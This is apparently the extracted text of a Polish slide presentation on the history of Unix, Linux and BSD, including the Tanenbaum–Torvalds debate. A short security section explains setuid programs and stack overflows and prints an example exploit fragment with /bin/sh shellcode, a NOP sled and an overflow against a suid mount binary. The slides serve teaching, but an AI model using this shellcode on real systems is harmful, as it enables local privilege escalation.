-
19391991> > Other than the fact Linux has a cool name, could someone explain why I should use
> > Linux over BSD?
>
> No. That's it. The cool name, that is. We worked very hard on creating a name that would
> appeal to the majority of people, and it certainly paid off: thousands of people are using
> linux just to be able to say "OS/2? Hah. I've got Linux. What a cool name".
Linus Torvalds
Piotr Grzybowski
-
o czym bedzie Poczatki
Nowy Lad
Wymiana ognia
Bezpieczenstwo
Przyszlosc
Przewidywania
-
rys historyczny Dawno, dawno temu
Pierwsze maszyny
Ludzie przed swoimi niesamowitymi maszynami
Galeria Slaw
Nowa Era
Wspaniala Rodzina
Przyszlosc vs Przeszlosc
-
poczatek ..
W 1937, George Stibitz zauwazyl ze
elektromechaniczne przekazniki z central
telefonicznych nadaja sie do czegos innego.
Z przekaznikow, migajacych zarowek i puszki na tyton, zbudowal
pierwszy binarny
sumator.
-
pierwszy komputer
W 1939, Stibitz i S.B. Williams zbudowali Complex Number
Calculator, I elektryczny komputer cyfrowy. Skladal sie z 450
przekaznikow tel. i10 poprzecznych przelacznikow. Umial podzielic
dwie 8-cyrfowe liczby zespolone. Tylko trzy Maszynistki wprowadzaly
dane.
-
pierwsze RPC
W 1940, Stibitz wzial jedna ze swoich “teletypewriters” na
spotkanie American Mathematical Association w Dartmouth, New
Hampshire i przez linie TELEFONICZNA polaczyl sie z “Complex Number
Calculator” w Nowym Jorku. Byla to pierwsza demonstracja “remote
computing”.
-
10 lat CNC ..
CNC (Complex Number Calculator), pozniej nazwany “Model 1 Relay
Computer” dzialal przez 10 lat do 1949.
-
w 20 lat pozniej. We wrzesniu 1969 roku rozpoczyna sie era
unixa. BTL, GE i MIT zlecaja stworzenie SO dla duzej maszyny.
Dennis Ritchie i Kenneth Thompson tworza “UNICS (UNiplexed
Information and Computing Service)”a Jezyk: BCPL (Basic Combined
Programming Language), potem B, maszyna: PDP-11.
-
Den & Ken
-
maszyny
-
maszyny
-
inne
-
Hall Of Fame
Linus TorvaldsKen Thompson
Bill Joy Richard Stallman
Brian Kernighan
Dennis Ritchie
-
Pierwsze lata
-
Narodziny BSD
-
Narodziny BSD
-
2004/ 2005
-
Przeszlosc vs Przyszlosc
-
Tanenbaum vs
[email protected] (Andy Tanenbaum)
[email protected] (Linus Benedict Torvalds)newsgroups: comp.os.minix
Subject: LINUX is obsoleteDate: 29 Jan 92 12:12:50 GMT
MINIX to hobby, zajmuje sie nim kiedy znudzi mnie pisanie
ksiazek, nie ma wiekszych wojen, rewolucji, lub przesluchan senatu
na CNNie. Jestem profesoremi badaczem w dziedzinie systemow
operacyjnych
Uzywasz tego jako usprawiedliwienia dla ograniczen MINIXA?
Sorry, ale przegrywasz: mam wiecej wymowek a linux wciaz bije na
leb na szyje minixa w prawie kazdej dziedzinie
-
Tanenbaum vs Linus
Wiekszosc starych systemow operacyjnych jest monolityczna, czyli
caly system jest jednym plikiem a.out ktory chodzi w “kernel mode”.
Zawiera process&memory management, fs i cala reszte. Przyklady:
UNIX, VMS, OS/360, MULTICS.
Alternatywa jest system oparty na mikro-jadrze, w ktorym
wiekszosc SO chodzi jako osobne procesy, poza jadrem. Komunikuja
sie poprzez “message passing”. Jadro zajmuje sie przesylaniem
komunikatow, itp. Przyklady: RC4000 Amoeba, Chorus, Mach.
Podczas gdy moglbym snuc dluga historie o przewadze jednego
rozwiazania nad drugim, wystarczy powiedziec ze posrod ludzi ktorzy
projektuja systemy debata jest skonczona. “Microkernels have won.”.
Linux jest monolityczny. “writing a monolithic system in 1991 is a
truly poor idea.”
Monolithic vs micro
-
Tanenbaum vs Linus
Fakt, linux jest monolityczny i zgadzam sie z tym ze mikrojadra
sa ladniejsze. Z teoretycznego (i estetycznego) punktu widzenia
linux przegrywa. Gdyby GNU kernel byl gotowy zeszlej wiosny, nie
zaczalbym. “Linux wins heavily on points being available now.”
Tworzysz minixa jako hobby – patrz kto na nim zarabia a kto daje
linuxa za darmo. Linux to hobby (powazne), nie biore za niego
pieniedzy, nie jest czescia moich studiow.
Twoja praca to profesor i badacz: “That's one hell of a good
excuse for some of the brain-damages of minix. I can only hope that
Amoeba doesn't suck like minix does.”
Monolithic vs micro
-
Tanenbaum vs Linus
Dawno temu bylo 4004 CPU, potem 8008, 8080, 8086, 8088, 80286,
ktore przeszlo w 80386, potem 80486 itd do Ntej generacji. W miedzy
czasie powstal RISC. To one zastapia linie 80x86. Beda
interpretowaly 80386 softwarowo.
Nie zrozum mnie zle, nie jestem niezadowolony z LINUXA. “It will
get all the people who want to turn MINIX in BSD UNIX off my
back.”.
portability
Ale szczerze mowiac uwazam ze ludzie szukajacy **NOWOCZESNEGO**
“darmowego” SO zwroca sie w strone mikrojadra.
-
Tanenbaum vs Linus
“Portability is for people who cannot write new programs.”
Zgadzam sie ze portowalnosc jest dobra rzecza, ale tylko tam
gdzie ma jakies znaczenie. System operacyjny ma za zadanie uzywac
wlasciwosci sprzetu i chowac je za warstwa wysoko-poziomowych
wywolan.
Zgadzam sie tez ze linux doprowadza nie-portowalnosc do granic:
w Styczniu zeszlego roku dostalem swoje 386 i linux byl projektem
ktory mial mnie go nauczyc.
portability
-
Tanenbaum vs Linus
Jesli grupa ludzi chce modyfikowac jeden kod, w porzadku. Mysle
ze koordynowac 1000 prima donn na calym swiecie bedzie proste jak
pasc koty.
Linus chce miec kontrole nad oficialna wersja, a grupa
napalonych bobrow chce isc w innym kierunku. Problemem jest
koordynacja.
wielu programistow
Nadal stoje na stanowisku ze projekotwanie monolitycznego jadra
w 1991 jest fundamentalnym bledem. Ciesz sie ze nie jestes moim
studentem. Nie dostalbys wyskokiego stopnia za taki projekt.
-
Tanenbaum vs Linus
“Here's my standing on ''keeping control'', in 2 words
(three?):
I won't.”
Wlasciwie mysle nad czyms w rodzaju listy dyskusyjnej
“linux-kernel” na ktorej podejmowane byly by decyzje o nastepnych
wersjach.
“Well, I probably won't get too good grades even without
you.”
wielu programistow
-
Tanenbaum vs Linus
mikrokernel jest tak samo dobry jak monolit
software powinien byc darmowy
historia zdecydowala
conclusions
-
Benchmarks
socket();
-
Benchmarks
mmap();
-
Bezpieczenstwo
Programy “suid”
“Smash the stack for fun and profit”
Rootkits & LKM
Przyklad
-
Bezpieczenstwo
#ls -al /usr/bin/passwd-rwsr-xr-x root root 26584 Oct 25 2003
/usr/bin/passwd
#chmod +s /tmp/exploit
set user/group on execution
Co jesli program ma bledy?
Co jesli zostal zle napisany?
-
Bezpieczenstwo
stack
PUSH POPx86 CPU
Text
(Initialized)Data
(Uninitialized)
Stack
nizsze adresy
wyzsze adresy
-
Bezpieczenstwo
buffer overflowvoid function(char *str) { char
buffer[16];
strcpy(buffer,str);}
void main() { char large_string[256]; int i;
for( i = 0; i < 255; i++) large_string[i] = 'A';
function(large_string);}
top bottom
-
Bezpieczenstwoprzykladowy exploit
u_char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
ptr += BUFFER_SIZE-strlen(execshell);
for(i=0;i < strlen(execshell);i++)
*(ptr++) = execshell[i];
for(i=0;i < (8/4);i++)
*(addr_ptr++) = get_esp() + ofs;
ptr = (char *)addr_ptr;
execl(PATH_MOUNT, "mount", buff, NULL);
-
PRZYSZLOSC“Space, the final frontier”
darmowe oprogramowanie
jadro monolityczne
nowe systemy na bazie jadra BSD
linux przyszedl i zostanie
bezpieczenstwo jest priorytetem
kazdy moze miec wielki wklad w historie